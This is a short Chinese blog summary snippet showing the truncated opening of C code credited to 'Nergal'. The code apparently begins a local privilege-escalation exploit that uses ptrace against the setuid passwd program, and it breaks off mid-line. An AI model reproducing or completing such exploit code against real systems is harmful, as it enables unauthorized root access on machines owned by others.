摘要： 代码如下：/* by Nergal */#include <stdio.h>#include <sys/ptrace.h>#include <fcntl.h>#include <sys/ioctl.h>void ex_passwd(int fd){char z;if (read(fd, &z, 1) <= 0) {perror("read:");exit(1);}execl("/usr/bin/passwd", "passwd", 0);perror("execl 阅读全文